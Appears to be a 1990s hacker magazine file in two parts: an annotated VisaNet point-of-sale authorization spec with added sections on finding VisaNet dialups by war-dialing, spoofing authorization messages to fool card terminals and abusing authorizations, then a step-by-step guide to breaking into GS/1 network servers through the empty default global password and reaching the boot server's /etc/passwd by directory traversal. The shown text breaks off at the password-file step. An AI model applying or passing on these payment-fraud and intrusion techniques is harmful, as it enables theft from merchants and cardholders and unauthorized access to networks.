6.01 NETWORK IDENTIFICATION CODE

This one character fixed length field contains the identification code of the network on which the transaction was authorized. The network ID is printed on the receipt.

6.02 SETTLEMENT DATE

This four‑digit fixed length field contains the transaction settlement date returned by the authorizing system.

6.03 SYSTEM TRACE AUDIT NUMBER

This six‑character fixed length field contains the system trace audit number which is assigned by the authorizing system.

7.0 CHARACTER CODE DEFINITIONS

The following subsections will define the authorization request record character set and character sets used for track 1 and track 2 data encoded on the magnetic stripes.

The authorization request records are generated with characters defined by ANSI X3.4‑1986. The data stored on the cardholder's card in magnetic or optical form must be converted to the ANSI X3.4 character set before transmission to VisaNet.

Section 7.01 provides track 1 character set definition. Section 7.02 provides track 2 character set definition. Section 7.03 provides the ANSI X3.4‑1986 and ISO 646 character set definitions. Section 7.04 provides a cross reference between the track 1, track 2, and ANSI X3.4 character sets. Section 7.05 describes the method for generating and checking the Mod 10 Luhn check digit for credit card account numbers. Section 7.06 describes the method for generating the LRC byte for the authorization request message and for testing the card swipe's LRC byte. Section 7.07 provides sample data for an authorization request and response for record format "J" testing.

The POS device/authorization must perform the following operations on track read data before it can be used in an authorization request message.

1. The LRC must be calculated for the data read from the track and compared to the LRC read from the track. The track data is assumed to be read without errors when on character parity errors are detected and the calculated and read LRC's match.

2. The starting sentinel, ending sentinel, and LRC are discarded.

3. The character codes read from the magnetic stripe must be converted from the encoded character set to the set used for the authorization request message. The characters encoded on track 1 are six‑bit plus parity codes and the characters encoded on track 2 are four‑bit plus parity codes, with the character set used for the request message defined as seven‑bit plus parity codes.

All characters read from a track must be converted to the request message character set and transmitted as part of the request. The converted track data can not be modified by adding or deleting non‑framing characters and must be a one‑for‑one representation of the characters read from the track. [sounds like they mean it, eh?]

7.1 TRACK 1 CHARACTER DEFINITION

Table 7.01 provides the ISO 7811‑2 track 1 character encoding definitions. This "standards" format is a SAMPLE guideline for expected credit card track encoding; ATM/debit cards may differ. Actual cards may differ [not], whether they are Visa cards or any other issuer's cards.

Each character is defined by the six‑bit codes listed in Table 7.01.

Track 1 can be encoded with up to 79 characters as shown in Figure 7.01

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|SS|FC| PAN|FS| NAME|FS| DATE| DISCRETIONARY DATA |ES|LRC|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LEGEND:

Field Description Length Format

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SS Start Sentinel 1 %

FC Format Code ("B" for credit cards) 1 A/N PAN Primary Account Number 19 max NUM

FS Field Separator 1 ^

NAME Card Holder Name (See NOTE below) 26 max A/N

FS Field Separator 1 ^

DATE Expiration Date (YYMM) 4 NUM Discretionary Data Option Issuer Data (See NOTE below) variable A/N

ES End Sentinel 1 ?

LRC Longitudinal Redundancy Check 1

Total CAN NOT exceed 79 bytes‑‑‑‑‑> 79

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FIGURE 7.01

Track 1 Encoding Definition

NOTE: The CARD HOLDER NAME field can include a "/" as the surname separator and a "." as the title separator

The DISCRETIONARY DATA can contain any of the printable characters from Table 7.01

TABLE 7.01

Track 1 Character Definition

b6 0 0 1 1

BIT NUMBER b5 0 1 0 1 (a) These character positions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑are for hardware use only

b4 b3 b2 b1 ROW/COL 0 1 2 3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑b) These characters are for

0 0 0 0 0 SP 0 (a) P country use only, not for 0 0 0 1 1 (a) 1 A Q international use 0 0 1 0 2 (a) 2 B R

0 0 1 1 3 (c) 3 C S (c) These characters are 0 1 0 0 4 $ 4 D T reserved for added 0 1 0 1 5 (%) 5 E U graphic use [nifty] 0 1 1 0 6 (a) 6 F V

0 1 1 1 7 (a) 7 G W

1 0 0 0 8 ( 8 H X (%) Start sentinel 1 0 0 1 9 ) 9 I Y (/) End sentinel

1 0 1 0 A (a) (a) J Z (^) Field Separator 1 0 1 1 B (a) (a) K (b) / Surname separator 1 1 0 0 C (a) (a) L (b) . Title separator 1 1 0 1 D ‑ (a) M (b) SP Space

1 1 1 0 E ‑ (a) N (^) +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1 1 1 1 F / (?) O (a) |PAR|MSB|B5|B4|B3|B2|LSB|

Most Significant Bit

Parity Bit (ODD)

Read LSB First

7.02 TRACK 2 CHARACTER DEFINITION

Table 7.02 provides the ISO 7811‑2 track 2 character encoding definitions. This "standards" format is a SAMPLE guideline for expected credit card track encoding; ATM/debit cards may differ. Actual cards may differ, whether they are Visa cards or any other issuer's cards.

Each character is defined by the four‑bit codes listed in Table 7.02.

Track 2 can be encoded with up to 40 characters as shown in Figure 7.02.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|SS| PAN |FS| DATE| DISCRETIONARY DATA |ES|LRC|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LEGEND:

Field Description Length Format

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SS Start Sentinel 1 0B hex

PAN Primary Account Number 19 max NUM

FS Field Separator 1 =

Discretionary Data Option Issuer Data (See NOTE below) variable A/N

ES End Sentinel 1 0F hex

LRC Longitudinal Redundancy Check 1

Total CAN NOT exceed 40 bytes‑‑‑‑‑> 40

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FIGURE 7.02

Track 2 Encoding Definition

NOTE: The PAN and DATE are always numeric. The DISCRETIONARY DATA can be numeric with optional field separators as specified in Table 7.02.

TABLE 7.02

Track 2 Character Set

b4 b3 b2 b1 COL (a) These characters are for

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ hardware use only

0 0 0 0 0 0

0 0 0 1 1 1 (B) Starting Sentinel

0 0 1 0 2 2

0 0 1 1 3 3 (D) Field Separator

0 1 0 0 4 4

0 1 0 1 5 5 (F) Ending Sentinel

0 1 1 0 6 6

0 1 1 1 7 7

1 0 0 0 8 8 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1 0 0 1 9 9 | PAR | MSB | b3 | b2 | LSB |

1 0 1 0 A (a) +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1 0 1 1 B (B) | |

1 1 0 0 C (a) | |‑‑‑ Most Significant Bit 1 1 0 1 D (D) |‑‑‑ Parity Bit (ODD)

1 1 1 0 E (a)

1 1 1 1 F (F) Read LSB first

[ tables 7.03a, 7.03b, and 7.04 deleted...

If you really need a fucking ascii table that bad go buy a book.]

[ section 7.05 ‑ Account Data Luhn Check deleted...

as being unnecessary obtuse and roundabout in explaining how the check works. the routine written by crazed luddite and murdering thug is much clearer. ]

7.06 CALCULATING AN LRC

When creating or testing the LRC for the read of the card swipe, the authorization request record, the debit confirmation record or the VisaNet response record; use the following steps to calculate the LRC:

1) The value of each bit in the LRC character, excluding the parity bit, is defined such that the total count of ONE bits encoded in the corresponding bit location of all characters of the data shall be even (this is also known as an EXCLUSIVE OR (XOR) operation)

For card swipes, include the start sentinel, all the data read and the end sentinel.

For VisaNet protocol messages, begin with the first character past the STX, up to and including the ETX.

2) The LRC characters parity bit is not a parity bit for the individual parity bits of the data message, but it only the parity bit for the LRC character itself. Calculated as an even parity bit.

[ i list a routine for calculating an LRC o a string later on in the document ]

7.07 TEST DATA FOR RECORD FORMAT "J"

The following two sections provide sample data for testing record format "J" with the VisaNet dial system.

7.07.01 TEST DATA FOR A FORMAT "J" AUTHORIZATION REQUEST

Table 7.07a provides a set of test data for record format "J" authorization request.

TABLE 7.07a

Test Data For Record Format "J"

Test Data Byte # Length Format Field Name

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

J 1 1 A/N Record Format

0, 2, or 4 2 1 A/N Application Type

. 3 1 A/N Message Delimiter 401205 4‑9 6 A/N Acquirer BIN 123456789012 10‑21 12 NUM Merchant Number 0001 * 22‑25 4 NUM Store Number

0001 * 26‑29 4 NUM Terminal Number 5999 30‑33 4 NUM Merchant Category Code 840 34‑36 3 NUM Merchant Country Code 94546 37‑41 5 A/N Merchant City Code 108 42‑44 3 NUM Time Zone Differential 54 45‑46 2 A/N Authorization Transaction Code 12345678 47‑54 8 NUM Terminal Identification Number Y 55 1 A/N Payment Service Indicator 0001 * 56‑59 4 NUM Transaction Sequence Number @ 60 1 A/N Cardholder Identification Code D, H, T, or X 61 1 A/N Account Data Source

Track or Customer Data Field

Manual Data

"FS" N.A. 1 "FS" Field Separator 0000123 N.A. 0 to 43 A/N Transaction Amount "FS" N.A. 1 "FS" Field Separator

ER N.A. 0 or 2 A/N Device Code/Industry code "FS" N.A. 1 "FS" Field Separator N.A. 0 or 6 NUM Issuing/Receiving Institution ID "FS" N.A. 1 "FS" Field Separator

000 N.A. 3 to 12 NUM Secondary Amount (Cashback) "FS" N.A. 1 "FS" Field Separator

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE:* Denotes fields that are returned in the response message

7.07.2 RESPONSE MESSAGE FOR TEST DATA

Table 7.07b provides the response message for the test data provided in section 7.07.1.

TABLE 7.07b

Response Message For Test Data ‑ Record Format "J"

Test Data Byte # Length Format Field Name

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A, Y, N, or * 1 1 A/N Payment Service Indicator "space"

0001 * 2‑5 4 NUM Store Number

0001 * 6‑9 4 NUM Terminal Number

5 * 1 1 A/N Authorization Source Code 0001 * 11‑14 4 NUM Transaction Sequence Number 00 * 15‑16 2 A/N Response Code

12AB45 * 17‑22 6 A/N Approval Code

111992 * 23‑28 6 NUM Transaction Date (MMDDYY) AP ______ 29‑44 16 A/N Authorization Response Message 0, Sp, or "FS" 45 1 A/N AVS Result Code *Variable 0 or 15 NUM Transaction Identifier "FS" "FS" Field Separator *Variable 0 or 4 A/N Validation Code "FS" "FS" Field Separator

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: * Move to data capture record for VisaNet Central Data Capture (CDC)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ section two ]

[ finding visanet ]

finding visanet isn't hard, but it can be tedious. visanet rents time off of compuserve and X.25 networks. the compuserve nodes used are not the same as their information service, cis. to identify a visanet dialup after connecting, watch for three enq characters and a three second span to hangup. if you've scanned out a moderate portion of your area code, you probably have a few dialups. one idea is to write a short program to dial all the connects you have marked as garbage or worthless [ you did keep em, right? ] and wait for the proper sequence. X.25 connections should work similarly, but i don't know for sure. read the section on visanet usage for other dialup sources.

[ section three ]

[ visanet link level protocol ]

messages to/from visanet have a standard format:

stx ‑ message ‑ etx ‑ lrc

the message portion is the record formats covered in section one. lrc values are calculated starting with the first byte of message, going up to and including the etx character. heres an algorithm that calculates the lrc for a string. note: in order to work with the visanet protocols, append etx to the string before calling this function.

unsigned char func_makelrc(char *buff)

{

int i;

char ch, *p;

ch = 0;

p = buff;

for(;;) {

ch = (ch^(*p));

p++;

if(!(*p))

break;

}

return ch;

}

for a single authorization exchange, the easiest kind of transaction, the sequence goes like this:

host enq stx‑response‑etx‑lrc eot

term stx‑request‑etx‑lrc ack

disconnect>

matching this sequence with test record formats from section one, 7.07, heres an ascii representation of a transaction. control characters denoted in <>'s. [of course, you wouldn't really have a carriage return in middle of a message. duh. ] this transaction would be for card number 4444111122223333 with an expiration date of 04/96. the purchase amount is $1.23. visanet responds with an approval code of 12ab45.

host: <enq>

term: <stx>J0.401205123456789012000100015999840945461085412345678Y0001@H444411 1122223333<fs>0496<fs>0000123<fs>ER<fs><fs>000<fs><etx><lrc>

host: <stx>Y00010001500010012AB45111992APPROVAL 12AB45123456789012345<fs> ABCD<fs><etx><lrc>

term: <ack>

host: <eot>

authorizing multiple transactions during one connect session is only slightly more complicated. the etx character on all messages sent to visanet are changed to etb and the application type is changed from '0' to '2' [section one 4.02]. instead of responding after a transaction with eot, visanet instead polls the terminal again with enq. this continues until the terminal either changes back to the single transaction format or issues an eot to the host.

heres a short list of all control characters used:

stx: start‑of‑text, first message framing character signaling message start etx: end‑of‑text, the frame ending character the last message of a sequence eot: end‑of‑transmission, used to end an exchange and signal disconnect enq: enquiry, an invitation to transmit a message or retransmit last item ack: affirmative acknowledgment, follows correct reception of message nak: negative acknowledgment, used to indicate that the message was not understood or was received with errors

syn: delay character, wait thirty seconds

etb: end‑of‑block, the end framing character used to signal the end of a message within a multiple message sequence

other quick notes: visanet sometimes sends ack before stx on responses lrc characters can hold any value, such as stx, nak, etc visanet can say goodbye at any time by sending eot people can get very anal about error flow diagrams

[ section four ]

[ half the story; central data capture ]

a full transaction requires two steps, one of which is described in this document: getting the initial authorization. an authorization does basically nothing to a person's account. oh, you could shut somebody's account down for a day or two by requesting a twenty thousand dollar authorization, but no other ill effects would result. central data capture, the second and final step in a transaction, needs information from both the authorization request and response, which is used to generate additional data records. these records are then sent to visanet by the merchant in a group, usually at the end of each day.

[ section five ]

[ common applications ]

access to visanet can be implemented in a number of ways: directly on a pos terminal, indirectly via a lan, in a hardware specific device, or any permutation possible to perform the necessary procedures. card swipers commonly seen at malls are low tech, leased at around fifty dollars per month, per terminal. they have limited capacity, but are useful in that all of the information necessary for transactions is self contained. dr delam and maldoror found this out, and were delighted to play the role of visanet in fooling the little device. close scrutiny of section one reveals atm formats, phone order procedures, and new services such as direct debit from checking/savings and checks by phone. start noticing the stickers for telecheck and visa atm cards, and you're starting to get the picture.

[ section seven ]

[ brave new world ]

could it be? yes, expiration dates really don't matter....

this article written to thank previous Phrack writers...

please thank me appropriately...

800#s exist...

other services exist... mastercard runs one...

never underestimate the power of asking nicely...

numerous other formats are available... see section one, 3.0 for hints...

Gettin' Down 'N Dirty Wit Da GS/1

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 17 of 28

****************************************

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

[<>

[<> ‑‑‑‑+++===::: GETTiN' D0wN 'N D1RTy wiT Da GS/1 :::===+++‑‑‑‑ <>]

[<>

[<> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[<>

[<> Brought to you by: <>]

[<> [)elam0 Labz, Inc. and ChURcH oF ThE Non‑CoNForMisT <>]

[<>

[<> Story line: Maldoror ‑n‑ [)r. [)elam <>] [<> Main Characters: Menacing Maldoror & The Evil [)r. [)elam <>] [<> Unix Technical Expertise: Wunder‑Boy [)elam <>] [<> Sysco Technishun: Marvelous Maldoror <>]

[<>

[<> Look for other fine [)elamo Labz and ChURcH oF ThE <>] [<> Non‑CoNForMisT products already on the market such as <>] [<> DEPL (Delam's Elite Password Leecher), NUIA (Maldoror's <>] [<> Tymnet NUI Attacker), TNET.SLT (Delam's cheap0 Telenet <>] [<> skanner for Telix), PREFIX (Maldoror's telephone prefix <>] [<> identification program), and various other programs and <>] [<> philez written by Dr. Delam, Maldoror, Green Paradox, <>] [<> El Penga, Hellpop, and other certified DLI and CNC members. <>]

[<>

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Index

==========================

1. Finding and identifying a GS/1 2. Getting help

3. Gaining top privilege access

4. Finding the boot server

5. Connecting to the boot server

6. Getting the boot server password file 7. Other avenues

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here's hacking a GS/1 made EZ (for the sophisticated hacker) It is advisable to fill your stein with Sysco and pay close attention... if Sysco is not available in your area, Hacker Pschorr beer will work almost as good... (especially Oktoberfest variety)

What is a GS/1?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A GS/1 allows a user to connect to various other computers... in other words, it's a server, like a DEC or Xyplex.

So why hack it?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cuz itz there... and plus you kan access all sortz of net stuph fer phree. (QSD @ 208057040540 is lame and if you connect to it, you're wasting the GS/1.. the French fone police will fly over to your country and hunt you down like a wild pack of dogs, then hang you by your own twisted pair.)

What to do:

‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #1. Finding and identifying a GS/1 +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Find a GS/1 .. they're EZ to identify.. they usually have a prompt of GS/1, though the prompt can be set to whatever you want it to be. A few years ago there were quite a number of GS/1's laying around on Tymnet and Telenet... you can still find a few if you scan the right DNIC's. (If you don't know what the hell I'm talking about, look at some old Phracks and LOD tech. journals.)

The prompt will look similar to this:

(!2) GS/1>

(The (!2) refers to the port you are on)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #2. Getting help +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First try typing a '?' to display help items.

A help listing looks like this:

> (!2) GS/1>?

> Connect <address>[,<address>] [ ECM ] [ Q ]

> DO <macro‑name>

> Echo <string>

> Listen

> Pause [<seconds>]

> PIng <address> [ timeout ]

> SET <param‑name> = <value> ...

> SHow <argument> ...

At higher privileges such as global (mentioned next) the help will look like this (note the difference in the GS/1 prompt with a # sign):

> (!2) GS/1# ?

> BRoadcast ( <address> ) <string>

> Connect ( <address> ) <address>[,<address>] [ ECM ] [ Q ] > DEFine <macro‑name> = ( <text> )

> DisConnect ( <address> ) [<session number>]

> DO ( <address> ) <macro‑name>

> Echo <string>

> Listen ( <address> )

> Pause [<seconds>]

> PIng <address> [ timeout ]

> ReaD ( <address> ) <option> <parameter>

> REMOTE <address>

> ROtary ( <address> ) !<rotary> [+|‑]= !<portid>[‑!<portid>] , ... > SAve ( <address> ) <option> <filename>

> SET ( <address> ) <param‑name> = <value> ...

> SETDefault ( <address> ) [<param‑name> = <value>] ...

> SHow ( <address> ) <argument> ...

> UNDefine ( <address> ) <macro‑name>

> UNSave ( <address> ) <filename>

> ZeroMacros ( <address> )

> ZeroStats ( <address> )

Additional commands under global privilege are: BRoadcast, DEFine, DisConnect, ReaD, REMOTE, ROtary, UNDefine, UNSave, ZeroMacros, ZeroStats, and a few extra options under the normal user commands.

If you need in‑depth help for any of the commands, you can again use the '?' in the following fashion:

> (!2) GS/1>sho ?

> SHow ADDRess

> SHow ClearingHouseNames [ <name> [ @ <domain> [@ <organ.> ] ] ] > SHow DefaultParameters [<param‑name> ...]

> SHow GLobalPARameters

> SHow NetMAP [ Short | Long ]

> SHow PARAmeterS [<param‑name> ...]

> SHow <param‑name> ...

> SHow SESsions [ P ]

> SHow VERSion

> (!2) GS/1>sh add?

> SHow ADDRess

> (!2) GS/1>sh add

> ADDRess = &000023B5%07000201E1D7!2

"sh add" displays your own network, address and port number.

The network is 000023B5

The address is 07000201E1D7

The port number is 2

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #3. Gaining top privilege access +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Figure out the global password.

Do a "set priv=global" command.

Note:

‑‑‑‑

There are 3 states to set priv to: user, local, and global. Global is the state with the most privilege. When you attain global privilege, your prompt will change to have a '#' sign at the end of it.. this means you have top priceless (similar to *nix's super user prompt).

The GS/1 will prompt you for a password. The default password on GS/1's is to have no password at all... The GS/1 will still prompt you for a password, but you can enter anything at this point if the password was never set.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #4. Finding the boot server +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Figure out the boot server address available from this GS/1 ..

The boot server is what lies under the GS/1. We've found that GS/1's are actually run on a Xenix operating system.. (which is of course a nice phamiliar territory) It's debatable whether all GS/1's are run on Xenix or not as we have yet to contact the company. (We may put out a 2nd file going into more detail.)

Do a "sh b" or "sh global" as shown in the following examples:

> (!2) GS/1# sh b

> BAud = 9600 BootServerAddress = &00000000%070002017781 > BReakAction = ( FlushVC, InBand ) BReakChar = Disabled

> BSDelay = None BUffersize = 82

> (!2) GS/1# sh global

> ...............................Global Parameters............................

> DATE = Wed Jun 22 21:16:45 1994 TimeZone = 480 minutes > DaylightSavingsTime = 0 minutes LogoffStr = "L8r laM3r" > WelcomeString = "Welcome to your haqued server (!2), Connected to " > DOmain = "thelabz" Organization = "delam0" > PROmpt = "GS/1>" NMPrompt = "GS/1# "

> LocalPassWord = "" GlobalPassWord = "haque‑me" > NetMapBroadcast = ON MacType = EtherNET

> CONNectAudit = ON ERRorAudit = ON

> AUditServerAddress = &000031A4%07000200A3D4

> AUditTrailType = Local

> BootServerAddress = &00000000%070002017781

Side note: the GlobalPassWord is "haque‑me" whereas the LocalPassWord is "" ... these are the actual passwords that need to be entered (or in the case of the LocalPassWord, "" matches any string). You'll only be able to "sh global" after a successful "set priv=global".

Now that you have the boot server address, the next step is enabling communication to the boot server.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #5. Connecting to the boot server +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Do a REMOTE <address> where address is the address of the machine you want to issue remote commands to.

> (!2) GS/1# REMOTE %070002017781

> (!2) Remote: ?

> BInd <address> [‑f <bootfile>] [‑l <loader>] [<nports>] > BRoadcast ( <address> ) "<string>"

> CoPyfile [<address>:]<pathname> [<address>:][<pathname>] > LiSt [ ‑ls1CR ] [<pathname> ...]

> MoVe <pathname> <pathname>

> NAme <clearinghouse name> = <address>[,<address>]... > Ping <address> [timeout]

> ReMove <pathname> ...

> SET [( <address> )] <param‑name> = <value> ...

> SETDefault <param‑name> = <value> ...

> SHow <argument>

> UNBind <address>

> UNDefine <macro name>

> UNName <name>

> ZeroStats

> <BREAK> (to leave remote mode)

Your prompt changes from "(!2) GS/1# " to "(!2) Remote: "... this means you will be issuing commands to whatever remote machine you specified by the REMOTE <address> command.

Notice for this case, the boot server's address was used.

When you get the REMOTE: prompt, you can issue commands that will be executed on the remote machine. Try doing a '?' to see if it's another GS/1.. if not, try doing 'ls' to see if you have a *nix type machine.

Also notice that the help commands on the remote are not the same as those for the GS/1 (though, if you establish a remote link with another GS/1 they will be the same).

> (!2) Remote: ls ‑l

> total 1174

> drwxrwxrwx 2 ncs ncs 160 Aug 17 1989 AC

> drwxrwxrwx 2 ncs ncs 5920 Jun 5 00:00 AUDIT_TRAIL > drwxrwxrwx 2 ncs ncs 96 Jun 5 01:00 BACKUP

> drwxrwxrwx 2 ncs ncs 240 Jun 4 04:42 BIN

> drwxrwxrwx 2 ncs ncs 192 Jun 4 04:13 CONFIGS

> drwxrwxrwx 2 ncs ncs 64 Aug 17 1989 DUMP

> drwxrwxrwx 2 ncs ncs 80 Aug 17 1989 ETC

> drwxrwxrwx 2 ncs ncs 160 Jun 4 04:13 GLOBALS

> ‑rw‑r‑‑r‑‑ 1 ncs ncs 228 Jun 5 00:59 btdata

> ‑rw‑r‑‑r‑‑ 1 ncs ncs 8192 Jun 8 1993 chnames.dir > ‑rw‑r‑‑r‑‑ 1 ncs ncs 11264 Jun 1 13:41 chnames.pag > drwxrwxrwx 2 ncs ncs 48 Jun 5 00:00 dev

> drwx‑‑‑‑‑‑ 2 bin bin 1024 Aug 17 1989 lost+found > ‑rw‑rw‑rw‑ 1 ncs ncs 557056 Mar 23 1992 macros

> ‑rw‑r‑‑r‑‑ 1 ncs ncs 512 Oct 22 1993 passwd

Look familiar?? If not, go to the nearest convenient store and buy the a 12 pack of the cheapest beer you can find.. leave your computer connected so you hurry back, and slam eight or nine cold onez... then look at the screen again.

You're basically doing a Remote Procedure Call for ls to your Xenix boot server.

Notice at this point that the "passwd" is not owned by root. This is because this is not the system password file, and you are not in the "/etc" directory... (yet)

There are a couple of problems:

> (!2) Remote: cat

> Invalid REMOTE command

>

> (!2) Remote: cd /etc

> Invalid REMOTE command

You cannot view files and you cannot change directories.

To solve the "cd" problem do the following:

> (!2) Remote: ls ‑l ..

> total 26

> drwxrwxrwx 12 root root 352 Jun 5 00:59 NCS

> drwxr‑xr‑x 2 bin bin 112 Aug 17 1989 adm

> drwxrwx‑‑‑ 2 sysinfo sysinfo 48 Aug 17 1989 backup

> drwxr‑xr‑x 2 bin bin 1552 Aug 17 1989 bin

> drwxr‑xr‑x 20 bin bin 720 Aug 17 1989 lib

> drwxrwxrwx 6 ncs ncs 224 Aug 17 1989 ncs

> drwxr‑xr‑x 2 bin bin 32 Aug 17 1989 preserve > drwxr‑xr‑x 2 bin bin 64 Aug 17 1989 pub

> drwxr‑xr‑x 7 bin bin 144 Aug 17 1989 spool

> drwxr‑xr‑x 9 bin bin 144 Aug 17 1989 sys

> drwxr‑x‑‑‑ 2 root root 48 Aug 17 1989 sysadm

> drwxrwxrwx 2 bin bin 48 Jun 5 01:00 tmp

>

> (!2) Remote: ls ‑l ../..

> total 1402

> ‑rw‑r‑‑r‑‑ 1 root root 1605 Aug 17 1989 .login

> ‑r‑‑r‑‑r‑‑ 1 ncs ncs 1605 Aug 28 1990 .login.ncs > ‑rw‑r‑‑r‑‑ 1 root root 653 Aug 17 1989 .logout

> ‑r‑‑r‑‑r‑‑ 1 ncs ncs 653 Aug 28 1990 .logout.ncs > ‑rw‑‑‑‑‑‑‑ 1 root root 427 Aug 17 1989 .profile > drwxr‑xr‑x 2 bin bin 2048 Aug 17 1989 bin

> ‑r‑‑‑‑‑‑‑‑ 1 bin bin 25526 May 4 1989 boot

> drwxr‑xr‑x 6 bin bin 3776 Aug 17 1989 dev

> ‑r‑‑‑‑‑‑‑‑ 1 bin bin 577 Nov 3 1987 dos

> drwxr‑xr‑x 5 bin bin 1904 Jun 2 12:40 etc

> drwxr‑xr‑x 2 bin bin 64 Aug 17 1989 lib

> drwx‑‑‑‑‑‑ 2 bin bin 1024 Aug 17 1989 lost+found > drwxr‑xr‑x 2 bin bin 32 Aug 17 1989 mnt

> drwxrwxrwx 2 bin bin 512 Jun 5 01:20 tmp

> drwxr‑xr‑x 14 bin bin 224 Aug 17 1989 usr

> ‑rw‑r‑‑r‑‑ 1 bin bin 373107 Aug 17 1989 xenix

> ‑rw‑r‑‑r‑‑ 1 root root 287702 Aug 17 1989 xenix.old

Your brain should now experience deja vous.. you just found the root directory. (for the non‑*nix, lam0‑hacker, the root directory has key *nix directories such as /etc, /bin, /dev, /lib, etc. in it.)

Now you can get to /etc/passwd as follows:

> (!2) Remote: ls ‑l ../../etc

> total 1954

> ‑rwx‑‑x‑‑x 1 bin bin 7110 May 8 1989 accton

> ‑rwx‑‑‑‑‑‑ 1 bin bin 1943 May 8 1989 asktime

> ‑rwx‑‑‑‑‑‑ 1 bin bin 31756 May 8 1989 badtrk

> ‑rw‑rw‑rw‑ 1 root root 1200 Apr 24 12:40 bootlog

> ‑rwx‑‑x‑‑x 1 bin bin 24726 May 8 1989 brand

> ‑rw‑r‑‑r‑‑ 1 bin bin 17 Aug 17 1989 checklist > ‑rw‑r‑‑r‑‑ 2 bin bin 17 Aug 17 1989 checklist.last > ‑rw‑r‑‑r‑‑ 1 ncs ncs 17 Aug 28 1990 checklist.ncs > ‑rw‑r‑‑r‑‑ 2 bin bin 17 Aug 17 1989 checklist.orig > ‑rwx‑‑‑‑‑‑ 1 bin bin 2857 May 8 1989 chsh

> ‑rwx‑‑‑‑‑‑ 1 bin bin 7550 May 8 1989 clri

> ‑rwx‑‑‑‑‑‑ 1 bin bin 8034 May 8 1989 cmos

> ‑rwxr‑xr‑x 1 root bin 31090 Aug 28 1990 cron

> ‑rw‑r‑‑r‑‑ 1 bin bin 369 May 8 1989 cshrc

> ...... etc.

> ‑rw‑r‑‑r‑‑ 1 root root 465 Mar 5 1991 passwd

Yeah, now what?!

You've found the /etc/passwd file, but you don't have "cat" to type the file out. Now you're stuck... so drink a half a bottle of Sysco per person. (We did... and as you'll see, Sysco is the drink of a manly hackers like us... make sure it's the big bottle kind not those girly small onez.)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ #6. Getting the boot server password file +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

